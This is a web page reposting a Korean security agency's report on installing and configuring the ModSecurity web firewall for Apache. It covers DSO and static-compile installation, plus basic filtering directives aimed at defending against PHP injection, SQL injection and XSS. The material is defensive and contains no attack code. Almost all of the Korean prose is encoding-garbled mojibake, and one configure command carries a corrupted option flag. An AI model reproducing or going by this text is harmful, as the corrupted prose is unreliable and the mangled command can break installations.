Home | Data Center | Contact US | Login

Á¦¸ñ ModSecurity¸¦ ÀÌ¿ëÇÑ ¾ÆÆÄÄ¡ À¥¼­¹ö º¸¾È
÷ºÎÆÄÀÏ 060314_TR2006004.pdf ÀÛ¼ºÀÏ 2007-02-08 16:02:05
ModSecurity¸¦ ÀÌ¿ëÇÑ ¾ÆÆÄÄ¡ À¥¼­¹ö º¸¾È
 
KISA´Â º» ¹®¼­¿¡¼­ ¾ð±ÞÇÑ modsecurity ¹× ÇØ´ç µµ±¸ °³¹ß»çÀÎ ThinkingStone»ç¿Í ¾î¶°ÇÑ °ü°èµµ ¾øÀ¸¸ç, ±¹³» À¥ ÇØÅ· ÇÇÇØ ¿¹¹æÀ» À§ÇØ °ø°³ À¥¹æÈ­º®ÀÎ modsecurity¸¦ º¸¾È Âü°í¿ëÀ¸·Î ¼Ò°³ÇÕ´Ï´Ù.
 
 
1. °³¿ä
 
ModSecurity´Â Apache À¥ ¼­¹ö¸¦ À§ÇÑ ¿ÀÇ ¼Ò½º À¥ ¹æÈ­º®ÀÌ´Ù.

ModSecurity´Â ¼Ò½ºÀÇ Àç»ç¿ë ¹× Àç»ý»êµÈ ÇÁ·Î±×·¥ÀÇ ¼Ò½º °ø°³ Á¶°ÇÀÇ GNU GPL ¶óÀ̼¾½º¸¦ µû¸£´Â °ø°³ ¹öÀü°ú ModSecurityÀÇ °³¹ß»çÀÎ Thinking StoneÞäÀÇ »ó¾÷¿ë ¹öÀüÀÌ Àִµ¥ º» °í¿¡¼­´Â °ø°³ ¹öÀüÀ» ÀÌ¿ëÇÑ ¼³Ä¡ ¹× ¿î¿µ ¹æ¹ýÀ» ¾Ë¾Æº»´Ù.

ModSecurity´Â O¡¯Reilly»ç¿¡¼­ Ãâ°£ÇÑ "Apache Security"¶ó´Â Ã¥À» ¾´ Ivan Ristic°¡ °³¹ßÇÑ Åø·Î½á, ¼³Ä¡ ¹× Â÷´Ü Rule ¼³Á¤ ÀÎÅÍÆäÀ̽º°¡ ºÒÆíÇÏ´Ù´Â ´ÜÁ¡Àº ÀÖÁö¸¸ °ø°ÝÂ÷´Ü ±â´ÉÀº »ó´çÈ÷ ¿ì¼öÇÏ´Ù. Apache´Â Áß¼Ò±â¾÷À̳ª À¥È£½ºÆþ÷ü¿¡¼­ ¸¹ÀÌ »ç¿ëÇÏ°í ÀÖ´Â °ø°³ À¥¼­¹ö·Î½á, À̵é Áß¼Ò±â¾÷¿¡ °í°¡ÀÇ »ó¿ë À¥¹æÈ­º® ¼³Ä¡°¡ ¾î·Á¿î °æ¿ì°¡ ¸¹´Ù. ÀÌ °æ¿ì ModSecurity´Â ´Ù¾çÇÑ À¥°ø°ÝÀ» È¿°úÀûÀ¸·Î ¸·´Âµ¥ ¸¹Àº µµ¿òÀ» ÁÙ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ÇÏÁö¸¸, ´Ù¼öÀÇ À¥¼­¹ö¸¦ ¿î¿µÇÏ´Â ´ë±Ô¸ð ±â¾÷À̳ª º¹ÀâÇÑ À¥ ȯ°æÀ» °¡Áø ±â¾÷ÀÇ °æ¿ì ÀÎÅÍÆäÀ̽º ¹× ±â¼úÁö¿ø Ãø¸é¿¡¼­ º¸´Ù ¿ì¼öÇÑ »ó¿ë À¥ ¹æÈ­º® µµÀÔÀ» ±Ç°íÇÑ´Ù.

º» °í¿¡¼­´Â °ø°³¿ë ModSecurity¸¦ ÀÌ¿ëÇÑ ¾ÆÆÄÄ¡ À¥¼­¹öÀÇ º¸¾È °­È­¹æ¾ÈÀ» »ìÆ캸°í, ƯÈ÷±¹³»¿¡¼­ ȨÆäÀÌÁö º¯Á¶»ç°í¿¡ ÀÌ¿ëµÇ°í ÀÖ´Â PHP Injection °ø°Ý¿¡ ´ëÀÀÇϱâ À§ÇÏ¿© ModSecurity¿¡¼­ ¾î¶»°Ô ¼³Á¤ÇØ¾ß ÇÒÁö ÁßÁ¡ÀûÀ¸·Î »ìÆ캸°í, À¥¼­¹öÀÇ °¡Àå ÀϹÝÀûÀÎ °ø°ÝÀÎ SQL Injection, XSS µî ´Ù¾çÇÑ À¥ °ø°Ý¿¡ ´ëÇÑ ¹æ¾î ¹æ¹ýµµ »ìÆ캸µµ·Ï ÇÑ´Ù.

ÀÌ ÅøÀº À¥ °ø°Ý¿¡ ´ëÇÑ Ä§ÀÔŽÁö ¹× ħÀÔ¹æÁö ±â´ÉÀ» Ãß°¡ÇØ ÁÖ´Â ¾ÆÆÄÄ¡ À¥¼­¹öÀÇ ÇϳªÀÇ ¸ðµâ·Î µ¿ÀÛÇÑ´Ù. À¥ Ŭ¶óÀ̾ðÆ®¿Í ¾ÆÆÄÄ¡ À¥ ¼­¹ö »çÀÌ¿¡ ModSecurity°¡ Á¸ÀçÇÏ¿© Ŭ¶óÀ̾ðÆ®·ÎºÎÅÍ ¾ÇÀÇÀûÀÎ Á¢¼Ó¿äûÀÌ ¹ß°ßµÇ¸é °ø°ÝÂ÷´Ü, ·Î±ë µî »çÀü¿¡ Á¤ÀÇµÈ ÇàÀ§¸¦ ¼öÇàÇÑ´Ù.
 
´Ù¸¥ ¾ÆÆÄÄ¡ ¸ðµâ°ú ¸¶Âù°¡Áö·Î ModSecurity¸¦ ¾ÆÆÄÄ¡ÀÇ ÇÑ ºÎºÐÀ¸·Î ¼³Ä¡ÇÒ ¼ö ÀÖÀ¸¸ç, Á¤»óÀûÀ¸·Î ¼³Ä¡µÇ¾úÀ» °æ¿ì ModSecurityÀÇ Ãß°¡ÀûÀΠ󸮷κÎÅÍ ¹ß»ýµÇ´Â ¿À¹öÇì´õ´Â °ÅÀÇ ¾ø´Ù.

ModSecurityÀÇ ÁÖ¿ä Ư¡Àº ´ÙÀ½°ú °°´Ù.
 
o ¿äû(request) ÇÊÅ͸µ
- Ŭ¶óÀ̾ðÆ®·ÎºÎÅÍ À¥¿äûÀÌ µé¾î¿Ã ¶§ À¥¼­¹ö ¶Ç´Â ´Ù¸¥ ¸ðµâµéÀÌ Ã³¸®Çϱâ Àü¿¡
ModSecurity°¡ ¿äû ³»¿ëÀ» ºÐ¼®ÇÏ¿© »çÀü¿¡ ÇÊÅ͸µÇÑ´Ù.

o ¿ìȸ ¹æÁö ±â¼ú
- °æ·Î¿Í ÆĶó¹ÌÅ͸¦ ºÐ¼®Çϱâ Àü¿¡ Á¤±ÔÈ­½ÃÄÑ ¿ìȸ °ø°ÝÀ» Â÷´ÜÇÑ´Ù.
- Áï, ¡°//¡±, ¡°\/¡±, ¡°.¡±, ¡°%00¡± µî ¿ìȸ °ø°Ý¿ë ½ºÆ®¸µÀ» Á¦°ÅÇÏ°í, ÀÎÄÚµùµÈ URLÀ» µðÄÚµùÇÑ´Ù.

o HTTP ÇÁ·ÎÅäÄÝ ÀÌÇØ
- ¿£ÁøÀÌ HTTP ÇÁ·ÎÅäÄÝÀ» ÀÌÇØÇϱ⠶§¹®¿¡ ¾ÆÁÖ Àü¹®ÀûÀÌ°í ¹Ì¼¼ÇÑ ÇÊÅ͸µÀ» ¼öÇàÇÒ ¼ö ÀÖ´Ù.

o POST ÆäÀ̷εå(payload) ºÐ¼®
- GET ¹æ½Ä »Ó¸¸ ¾Æ´Ï¶ó POST ¸Þ¼Òµå¸¦ »ç¿ëÇؼ­ Àü¼ÛµÇ´Â ÄÁÅÙÃ÷µµ °¡·Îä¾î ºÐ¼®ÇÒ ¼ö ÀÖ´Ù.
 
o °¨»ç ·Î±ë
- POST¸¦ Æ÷ÇÔÇÏ¿© ¸ðµç ¿äûÀÇ ¸ðµç »ó¼¼ÇÑ ºÎºÐµé±îÁö ÃßÈÄ ºÐ¼®À» À§Çؼ­ ·Î±ëµÉ ¼ö ÀÖ´Ù.
- MosSecurity¿¡¼­ Â÷´Ü±â´ÉÀ» ºñÈ°¼ºÈ­½ÃŲ ÈÄ, °­·ÂÇÑ ·Î±ë ±â´É¸¸À¸·Î ħÀÔŽÁö ½Ã½ºÅÛ ¿ªÇÒÀ»
¼öÇàÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù.

o HTTPS ÇÊÅ͸µ
- ¿£ÁøÀº À¥¼­¹ö¿¡ ÀÓº£µðµåµÇ¾î Àֱ⠶§¹®¿¡ º¹È£È­ ÇÑ ÈÄ¿¡ ¿äû µ¥ÀÌÅÍ¿¡ Á¢±ÙÇÏ¿© HTTPS¸¦ ÅëÇÑ °ø°Ýµµ ÇÊÅ͸µÇÒ ¼ö ÀÖ´Ù.
 

2. ModSecurity ¼³Ä¡
 
¸ÕÀú º» °í¿¡¼­´Â ´ÙÀ½ ȯ°æ¿¡¼­ ModSecurity¸¦ ¼³Ä¡ÇÏ¿© Å×½ºÆ®ÇÏ¿´´Ù.

o Ç÷§Æû : Linux 2.6.8-2-686-smp
o À¥¼­¹ö : Apache 2.2.0
o ModSecurity ¼Ò½ºÄÚµå µð·ºÅ丮 : /usr/local/modsecurity-apache-1.9.2
o ¾ÆÆÄÄ¡ ¼Ò½ºÄÚµå µð·ºÅ丮 : /usr/local/httpd-2.2.0
o ¾ÆÆÄÄ¡ À¥¼­¹ö Ȩ µð·ºÅ丮 : /usr/local/apache2

ModSecurity´Â 2006³â 2¿ù ÇöÀç ¾ÈÁ¤È­ ¹öÀüÀº 1.9.2ÀÌ´Ù. ÀÌ º¸´Ù ÃֽŠ±â´ÉÀ» °¡Áø ¹öÀüÀ» »ç¿ëÇÒ ¼ö ÀÖÀ¸³ª ¾ÆÁ÷ ¾ÈÁ¤¼ºÀÌ º¸ÀåµÇÁö ¾Ê¾ÒÀ¸¹Ç·Î °¡±ÞÀû ¾ÈÁ¤È­ ¹öÀü »ç¿ëÀ» ±Ç°íÇÑ´Ù.
 
¼³Ä¡¹æ¹ýÀº Å©°Ô 2°¡Áö°¡ Àִµ¥ ¼Ò½º¸¦ ÅëÇØ ¼³Ä¡ÇÏ´Â ¹æ¹ý°ú ¹ÙÀ̳ʸ® ÆÄÀÏÀ» ÅëÇØ ¼³Ä¡ÇÏ´Â ¹æ¹ýÀÌ ÀÖ´Ù. ¹ÙÀ̳ʸ® ÆÄÀÏÀ» ÅëÇÑ ¼³Ä¡´Â À©µµ¿ìÁî ¹öÀüÀÇ ¾ÆÆÄÄ¡¸¦ »ç¿ëÇϰųª ÄÄÆÄÀÏ·¯°¡ ¾øÀ» °æ¿ì¿¡ »ç¿ëÇϸé ÁÁ´Ù. º»°í¿¡¼­´Â ¼Ò½º¸¦ ÅëÇÑ ¼³Ä¡ ¹æ¹ýÀ» ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù.
 
[ModSecurity ÇÁ·Î±×·¥ ´Ù¿î·Îµå]
 
¼³Ä¡ÇÏ°íÀÚ ÇÏ´Â ¾ÈÁ¤È­ ¹öÀüÀÎ 1.9.2´Â ´ÙÀ½ »çÀÌÆ®¿¡¼­ ´Ù¿î·Îµå ¹ÞÀ» ¼ö ÀÖ´Ù.
http://www.modsecurity.org/download/modsecurity-apache-1.9.2.tar.gz
 
´Ù¿î·Îµå ¹ÞÀº ÈÄ ´ÙÀ½ÀÇ ¸í·ÉÀ¸·Î ¾ÐÃà ¹× ÆÐŰ¡À» ÇØÁ¦ÇÑ´Ù.
# tar xvzf modsecurity-apache-1.9.2.tar.gz # cd modsecurity-apache-1.9.2; ls -al linux-web:/usr/local# cd modsecurity-apache-1.9.2; ls -al total 84 drwxr-xr-x 6 1000 1000 4096 2006-01-17 03:36 . drwxrwsr-x 12 root staff 4096 2006-02-22 16:07 .. drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 apache1 drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 apache2 -rw-r--r-- 1 1000 1000 26381 2006-01-16 21:31 CHANGES drwxr-xr-x 3 1000 1000 4096 2006-01-17 03:37 doc -rw-r--r-- 1 1000 1000 1811 2006-01-09 21:33 httpd.conf.example-minimal -rw-r--r-- 1 1000 1000 881 2005-11-01 22:52 INSTALL -rw-r--r-- 1 1000 1000 17989 2003-05-29 05:36 LICENSE -rw-r--r-- 1 1000 1000 994 2006-01-09 23:45 README drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 util
¼Ò½º¸¦ ÅëÇÑ ¼³Ä¡ ¹æ¹ý¿¡µµ À¥¼­¹ö Ãʱ⼳ġ½Ã À¥¼­¹ö ÀÚü¿¡ ¸ðµâÀ» ¼³Ä¡ÇÏ´Â ¹æ½Ä°ú ¿î¿µµÇ°í ÀÖ´Â À¥¼­¹ö¿¡ mod_security.c¸¸À» ÄÄÆÄÀÏÇÏ¿© Æ÷ÇÔ½ÃÅ°´Â µ¿Àû°øÀ¯°´Ã¼(DSO, Dynamic shared object) ¹æ½Ä µî µÎ °¡Áö°¡ ÀÖ´Ù.
 

[ModSecurity ÇÁ·Î±×·¥ ¼³Ä¡]

¢¹ DSO ¹æ½Ä ¼³Ä¡

DSO ¹æ½ÄÀº ¾ÆÆÄÄ¡ À¥¼­¹öÀÇ À缳ġ °úÁ¤¾øÀÌ ±âÁ¸¿¡ ¿î¿µµÇ°í ÀÖ´Â ¾ÆÆÄÄ¡ À¥¼­¹ö¿¡ ¸ðµâÀ» µ¿ÀûÀ¸·Î Ãß°¡ÇÏ´Â ¹æ½ÄÀ̹ǷΠ±âÁ¸¿¡ ¾ÆÆÄÄ¡ À¥¼­¹ö¸¦ ÀÌ¹Ì ¿î¿µ ÁßÀÎ ±â°üÀÇ °æ¿ì DSO ¹æ½ÄÀ» ¼±ÅÃÇÏ´Â °ÍÀ» ±ÇÀåÇÑ´Ù. DSO ¹æ½ÄÀ¸·Î ¼³Ä¡ÇÏ´Â °ÍÀº ¾ÆÆÄÄ¡ ¹öÀü¿¡ »ó°ü¾øÀÌ ´ÙÀ½°ú °°ÀÌ ¼³Ä¡ ÇÒ ¼ö ÀÖ´Ù.
 
¨ç apxs¸¦ ÀÌ¿ëÇÏ¿© ModSecurity ¸ðµâÀ» ÄÄÆÄÀÏÇÏ°í, ¼³Ä¡ÇÏ°í, ¼³Á¤À» ÀÚµ¿À¸·Î º¯°æÇÑ´Ù.
 
# /usr/local/apache2/bin/apxs -cia /usr/local/modsecurity-apache-1.9.2/apache2/mod_security.c
 
À§ÀÇ ¸í·ÉÀº mod_security.c¸¦ ÄÄÆÄÀÏ ÇÏ°í(-c ¿É¼Ç), °øÀ¯°´Ã¼¸¦ À¥¼­¹ö modules µð·ºÅ丮¿¡ ¼³Ä¡ÇÏ°í(-i ¿É¼Ç), ¾ÆÆÄÄ¡ httpd.conf ¼³Á¤ÆÄÀÏ¿¡ ÀûÀýÇÑ LoadModule ÁÙÀ» Ãß°¡(-a ¿É¼Ç)ÇÑ´Ù.
Âü°í·Î apxs´Â ¾ÆÆÄÄ¡ À¥¼­¹öÀÇ È®Àå¸ðµâÀ» ÄÄÆÄÀÏÇÏ°í ¼³Ä¡ÇÏ´Â µµ±¸·Î½á, ¿©·¯ ¼Ò½º¿Í ¿ÀºêÁ§Æ®ÆÄÀÏÀ» LoadModule Áö½Ã¾î·Î ½ÇÇà ÁßÀÎ ¾ÆÆÄÄ¡ ¼­¹ö·Î ÀÐ¾î µéÀÏ ¼ö ÀÖ´Â µ¿Àû°øÀ¯°´Ã¼ (DSO)¸¦ ¸¸µç´Ù. À§ÀÇ °á°ú·Î modules µð·ºÅ丮¿¡ mod_security.so°¡ »ý¼ºµÇ°í httpd.conf ÆÄÀÏ¿¡ ¡°LoadModule security_module modules/mod_security.so¡± ¶óÀÎÀÌ Ãß°¡µÈ´Ù.
 
¨è À§ÀÇ °úÁ¤À¸·Î ¸ðµâÀÌ Á¤»óÀûÀ¸·Î ¼³Ä¡µÇ¾ú´ÂÁö È®ÀÎÇÑ´Ù.
 
linux-web:/usr/local/apache2/bin# ./httpd -l Compiled in modules: core.c ... mod_security.c ... mod_so.c
 
¨é ¾ÆÆÄÄ¡ À¥¼­¹ö¸¦ À籸µ¿ÇÑ´Ù.
# <apache-home>/bin/apachectl stop # <apache-home>/bin/apachectl start
 
¿©±â±îÁö ModSecurityÀÇ ¸ðµâ ¼³Ä¡°¡ ³¡³µÀ¸³ª, ¾ÆÁ÷ ·ê(Rule)¿¡ ´ëÇÑ Á¤ÀǸ¦ ÇÏÁö ¾Ê¾ÒÀ¸¹Ç·Î °ø°ÝÀ» ¹æ¾îÇÏÁö´Â ¸øÇÑ´Ù. À̸¦ ±¸µ¿Çϱâ À§Çؼ­´Â ´ÙÀ½ ÀåÀÇ ModSecurity È°¼ºÈ­ ¹× Rule Á¤ÀǸ¦ À§ÇÑ È¯°æ¼³Á¤À» »ìÆ캸µµ·Ï ÇÏÀÚ.
 
¢¹ ¼Ò½º ÄÄÆÄÀÏÀ» ÅëÇÑ ¼³Ä¡
 
DSO ¹æ½ÄÀÌ ¾Æ´Ñ Á¤ÀûÀ¸·Î ¼Ò½º ÄÄÆÄÀÏ µÉ °æ¿ì¿¡´Â ModSecurity ¸ðµâÀÌ À¥¼­¹öÀÇ body¿¡ Æ÷ÇÔµÇ°Ô µÈ´Ù. ÀÌ ¹æ¹ýÀº DSO ¹æ½Ä¿¡ ºñÇØ ´Ù¼Ò ½ÇÇà ¼Óµµ°¡ ºü¸£Áö¸¸, ¾ÆÆÄÄ¡ À¥¼­¹ö¸¦ ´Ù½Ã »õ·Ó°Ô ¼³Ä¡ÇØ¾ß ÇÏ°í ¼³Ä¡°¡ ¾à°£ º¹ÀâÇÑ ´ÜÁ¡ÀÌ ÀÖ´Ù.
 
¶ÇÇÑ, ¾ÆÆÄÄ¡ ¹öÀü¿¡ µû¶ó ¼³Ä¡¸¦ À§ÇÑ »çÀü ¼³Á¤À» ´Þ¸® ÇØ ÁÖ¾î¾ß ÇÑ´Ù.
 
<¾ÆÆÄÄ¡ 1.xÀÇ °æ¿ì>
$ cd <apache1-source> $ cp <modsecurity-source>/apache1/mod_security.c ./src/modules/extra $ ./configure --activate-module=src/modules/extra/mod_security -&#8211;enable-module=security

<¾ÆÆÄÄ¡ 2.xÀÇ °æ¿ì>
$ cd <apache2-source> $ cp <modsecurity-source>/apache2/mod_security.c ./modules/proxy $ ./configure -enable-security --with-module=proxy:mod_security.c ¾ÆÆÄÄ¡ 1.x ¶Ç´Â ¾ÆÆÄÄ¡ 2.x¿¡¼­ À§ÀÇ °úÁ¤À» °ÅÄ£ ÈÄ¿¡, ÀϹÝÀûÀÎ ¾ÆÆÄÄ¡ ÄÄÆÄÀÏ°ú ¼³Ä¡ °úÁ¤À» °ÅÄ¡¸é µÈ´Ù.
 
make
make install
/usr/local/apache2/bin/apachectl start
 
DSO ¹æ½Ä°ú´Â ´Þ¸® ¼Ò½º ÄÄÆÄÀÏÀ» ÅëÇÑ ¼³Ä¡½Ã¿¡´Â httpd.conf ÆÄÀÏ¿¡ ¾Æ¹«·± ³»¿ëÀÌ Ãß°¡µÇÁö ¾Ê´Â´Ù. DSO ¹æ½Ä°ú ¸¶Âù°¡Áö·Î ModSecurity¸¦ È°¼ºÈ­½ÃÅ°±â À§Çؼ­´Â ´ÙÀ½ ÀåÀÇ ModSecurity È°¼ºÈ­ ¹× Rule Á¤ÀǸ¦ À§ÇÑ È¯°æ¼³Á¤ÀÌ ÇÊ¿äÇÏ´Ù.
 
 
3. ModSecurity È°¼ºÈ­ ¹× Rule Á¤ÀÇ

ModSecurity¸¦ ¼³Ä¡ÇÏ¿´´Ù°í Çؼ­ ¹Ù·Î À¥ ¹æÈ­º® ±â´ÉÀÌ Àû¿ëµÇ´Â °ÍÀº ¾Æ´Ï´Ù. À̸¦ Àû¿ë½ÃÅ°±â À§Çؼ­´Â ¾ÆÆÄÄ¡ À¥¼­¹ö ȯ°æ¼³Á¤ ÆÄÀÏ(httpd.conf)ÀÇ <IfModule> ÅÂ±× ¾È¿¡ ¼³Á¤ Áö½ÃÀÚ(directive)¸¦ Á¤ÀÇÇØ ÁÖ¾î¾ß ÇÑ´Ù. <IfModule mod_security.c> # mod_security configuration directives # ... </IfModule> ¶Ç´Â ModSecurity¸¦ À§ÇÑ º°µµÀÇ È¯°æ¼³Á¤ ÆÄÀÏÀ» ¸¸µé°í À̸¦ httpd.conf¿¡ Æ÷ÇÔ½Ãų ¼ö ÀÖ´Ù. ¸¸¾à "<apache_home>/conf/modsecurity.conf" ¶ó´Â À̸§À¸·Î ModSecurity À¥¹æÈ­º®À» À§ÇÑ È¯°æ ¼³Á¤ ÆÄÀÏÀ» º°µµ·Î ¸¸µé¾úÀ» °æ¿ì httpd.conf ÆÄÀÏ¿¡ ´ÙÀ½°ú °°ÀÌ ÀÌ ÆÄÀÏÀ» Æ÷ÇÔ½ÃÄÑ ÁÙ ¼ö ÀÖ´Ù. Include conf/modsecurity.conf ModSecurity¸¦ À§ÇÑ RuleÀÌ ´Ù¾çÇÏ°í, ³»¿ÜºÎ À¥ ȯ°æ¿¡ µû¶ó Rule º¯°æÀÌ Áö¼ÓÀûÀ¸·Î ÇÊ¿äÇÏ¿© º°µµÀÇ ÆÄÀÏÀ» ÀÌ¿ëÇÏ´Â °ÍÀÌ Á» ´õ Æí¸®ÇÒ °ÍÀ¸·Î »ý°¢µÈ´Ù. ModSecurity´Â ´Ù¾çÇÑ ±â´ÉÀÇ ¼³Á¤À» À§Çؼ­ »ó´çÈ÷ ¸¹Àº Áö½ÃÀÚµéÀÌ Á¸ÀçÇϴµ¥ À̸¦ ÀÏÀÏÀÌ Á÷ Á¢ ÀÛ¼ºÇÏ¿© Àû¿ëÇϱâ´Â ½±Áö ¾ÊÀ» °ÍÀÌ´Ù. µû¶ó¼­ ¾Æ·¡ ModSecurity ȨÆäÀÌÁö¿¡¼­ Á¦°øÇÏ´Â Rule templateÀ» ÀÚ½ÅÀÇ À¥ ȯ°æ¿¡ ¸Â°Ô Ä¿½ºÆ®¸¶ÀÌ¡ ÇÏ´Â °ÍÀÌ º¸´Ù ¿ëÀÌÇÒ °ÍÀÌ´Ù. http://www.modsecurity.org/projects/rules/index.html
 
ÀÌ »çÀÌÆ®¿¡´Â ±âº»ÀûÀÎ Rule°ú ÇÔ²² PHP ȯ°æ, Ãâ·Â ÇÊÅÍ µî ¸î °¡Áö Rule template°¡ ÀÖÀ¸¹Ç·Î À̵éÀ» Âü°íÇØ º¸ÀÚ. ¶Ç´Â º» °íÀÇ ºÎ·Ï¿¡ ±âº»ÀûÀÎ Apache+PHP+MySQL ȯ°æ¿¡ ÀûÇÕÇÑ Rule ¿¹¸¦ Á¦½ÃÇÏ°í ÀÖÀ¸¹Ç·Î À̸¦ Âü°íÇØ º¸±â ¹Ù¶õ´Ù.

¿©±â¿¡¼­´Â ÅÂ±× ¾È¿¡ µé¾î°¥ Áö½ÃÀÚµé Áß ±âº»ÀûÀÎ Áö½ÃÀÚµéÀ» ¾Ë¾Æº¸µµ·Ï ÇÑ´Ù. »ó´çÈ÷ ´Ù¾çÇÑ Áö½ÃÀÚ°¡ ÀÖÀ¸¹Ç·Î ÀÚ¼¼ÇÑ °ÍÀº ¾Æ·¡ ¸Å´º¾óÀ» Âü°íÇØ º¸±â ¹Ù¶õ´Ù.
 
http://www.modsecurity.org/documentation/modsecurity-apache-manual-1.9.2.pdf
 
°¡. ±âº» ȯ°æ¼³Á¤

SecFilterEngine On
ModSecurity ±â´ÉÀ» È°¼ºÈ­(enable) ½ÃŲ´Ù.
o On : ModSecurity ±â´É È°¼ºÈ­
o Off : ModSecurity ±â´É ºñÈ°¼ºÈ­
¡Ø ModSecurity Á¦°ÅÇÒ °æ¿ì¿¡´Â SecFilterEngine Áö½ÃÀÚ¸¦ ¡°Off"·Î ¼³Á¤
 
SecFilterScanPOST On
POST ¸Þ¼ÒµåÀÇ payload¸¦ Á¡°ËÇÑ´Ù.
ModSecurity´Â ´ÙÀ½°ú °°Àº 2°¡Áö ŸÀÔÀ¸·Î ÀÎÄÚµùµÈ Request body¸¦ Áö¿øÇÑ´Ù.
o application/x-www-form-urlencoded (Form µ¥ÀÌÅÍ Àü¼Û½Ã »ç¿ë)
o multipart/form-data (ÆÄÀÏ Àü¼Û½Ã »ç¿ë)
´Ù¸¥ ÀÎÄÚµù ŸÀÔÀº ´ëºÎºÐÀÇ À¥ ¾îÇø®ÄÉÀ̼ǿ¡¼­ »ç¿ëµÇÁö´Â ¾Ê´Â´Ù.

SetEnvIfNoCase Content-Type \
"^multipart/form-data;" "MODSEC_NOPOSTBUFFERING=Do not buffer file uploads"

°¢ ¿äûº°·Î POST payload Á¡°ËÀ» ºñÈ°¼ºÈ­ÇÒ ¼ö ÀÖ´Ù. ȯ°æº¯¼öMODSEC_NOPOSTBUFFERINGÀÌ Á¤ÀǵǾî ÀÖÀ¸¸é POST payload ¹öÆÛ¸µÀ» ÇÏÁö ¾Ê´Â´Ù.

SecFilterDefaultAction "deny,log,status:404"
·êÀÌ ¿äû¿¡ ÀÏÄ¡Çϸé Çϳª ¶Ç´Â ±× ÀÌ»óÀÇ ÇàÀ§(action)°¡ ¹ß»ýµÈ´Ù. °¢°¢ÀÇ ÇÊÅͺ°·Î ÇàÀ§¸¦ Á¤ÀÇÇÒ ¼ö ÀÖÁö¸¸ ¸ðµç ÇÊÅ͵éÀ» À§ÇÑ ±âº» ÇàÀ§ ÁýÇÕÀ» Á¤ÀÇÇϸé Æí¸®ÇÏ´Ù. ¸ðµç ÇÊÅÍ¿¡ Àû¿ëµÉ ¼ö ÀÖ´Â µðÆúÆ® ÇàÀ§´Â SecFilterDefaultAction Áö½ÃÀÚ·Î Á¤ÀÇÇÒ ¼ö ÀÖ´Ù. À§ÀÇ ¿¹´Â °¢ ·ê¿¡ ÀÏÄ¡ÇÒ°æ¿ì Á¢¼Ó¿äûÀ» Â÷´ÜÇÏ°í, ·Î±×¸¦ ³²±â°í, »óÅÂÄÚµå 404 º¸³»´Â ¿¹ÀÌ´Ù.
ÇÏÁö¸¸, ModSecurity¸¦ óÀ½ ¼³Ä¡ÇÑ ÈÄ ¼³Á¤À» Æ©´×ÇÏ´Â °úÁ¤¿¡¼­´Â ¡°log,pass"¿Í °°ÀÌ ·Î±×¸¸ ³²±â°í ½ÇÁ¦ Â÷´ÜÇÏÁö ¾Ê°Ô ÇÒ ¼öµµ ÀÖ´Ù. ¿Ö³ÄÇϸé Á¤»óÀûÀÎ À¥ ¿äûÀÌ Â÷´ÜµÉ ¼ö ÀÖÀ¸¹Ç·Î ¸ÕÀú ·Î±×¿¡¼­ ÀÌ·¯ÇÑ Á¤»óÀûÀÎ ¿äûÀÌ ÇÊÅÍ¿Í ÀÏÄ¡ÇÏ¿© Â÷´ÜµÉ ¼ö ÀÖ´ÂÁö °ËÁõÇÒ ÇÊ¿ä°¡ ÀÖ´Ù.

¾Õ¼­ SecFilterDefaultAction Áö½ÃÀÚ·Î ÇÊÅ͸µ ±ÔÄ¢¿¡ ÀÏÄ¡ÇÒ °æ¿ì ±âº»ÀûÀ¸·Î ¾î¶² ÇàÀ§(Action)¸¦ ÇÏ°Ô ÇÒ °ÍÀÎÁö¿¡ ´ëÇØ °£´ÜÈ÷ ¾Ë¾Æº¸¾Ò´Ù. ±×·¯¸é ÇÊÅ͸µ ±ÔÄ¢¿¡ ÀÏÄ¡ÇÒ °æ¿ì ÀϾ ¼ö ÀÖ´Â ÇàÀ§ÀÇ Á¾·ù¿¡ ´ëÇØ ¾Ë¾Æº¸ÀÚ. ¸ÕÀú, ÇàÀ§´Â ´ÙÀ½°ú °°Àº 3°¡Áö Á¾·ù·Î ³ª´­ ¼ö ÀÖ´Ù.
±¸ ºÐ ¼³ ¸í
Primary action ¿äûÀ» °è¼Ó ÁøÇàÇÒ °ÍÀÎÁö Â÷´ÜÇÒ °ÍÀÎÁö¸¦ °áÁ¤ÇÏ´Â °ÍÀ¸·Î, deny, pass,redirect Áß Çϳª¸¦ ¼±ÅÃÇÑ´Ù.
Secondary actions Primary action¿¡ ÀÇÇÑ °áÁ¤°ú´Â µ¶¸³ÀûÀ¸·Î ¼öÇàµÇ´Â °ÍÀ¸·Î exec¿Í °°Àº ¸î
°³ÀÇ secondary actionµéÀÌ ÀÖ´Ù.
Flow actions ÇÊÅÍ ·êÀÇ È帧À» º¯°æÇÒ ¼ö ÀÖ´Â °ÍÀ¸·Î ´Ù¸¥ ·ê·Î Á¡ÇÁÇÏ°Ô Çϰųª ¸î °³ÀÇ
·êÀ» °Ç³Ê ¶ç°Ô ÇÒ ¼ö ÀÖ´Ù. Flow action¿¡´Â chain°ú skipÀÌ ÀÖ´Ù.

¾Õ¼­ SecFilterDefaultAction Áö½ÃÀÚ¿¡ ÀÇÇÑ ±âº» Àû¿ë actionÀÇ ¿¹¿¡¼­´Â ÄÞ¸¶(,)·Î ±¸ºÐµÈ 3°³ÀÇ actionÀ» Á¤ÀÇÇÏ°í ÀÖ´Ù. ÃëÇÒ ¼ö ÀÖ´Â ´ëÇ¥ÀûÀÎ ÇàÀ§´Â ´ÙÀ½ Ç¥¿Í °°´Ù.
Çà À§ ¼³ ¸í
pass ÇÊÅÍ¿¡ ÀÏÄ¡ÇÒ °æ¿ì ¿äûÀ» ±×³É Çã¿ëÇÑ´Ù. ÀÌ actionÀº ¾Æ¹«·± ÇàÀ§¸¦ ÇÏÁö ¾Ê°í
±×³É ·Î±×¸¸ ³²°Ü ħÀÔÀ» ¸ð´ÏÅ͸µÇϰųª Ãʱâ ȯ°æ¼³Á¤½Ã À¯¿ëÇÒ ¼ö ÀÖ´Ù.
¿¹) SecFilter KEYWORD "log,pass"
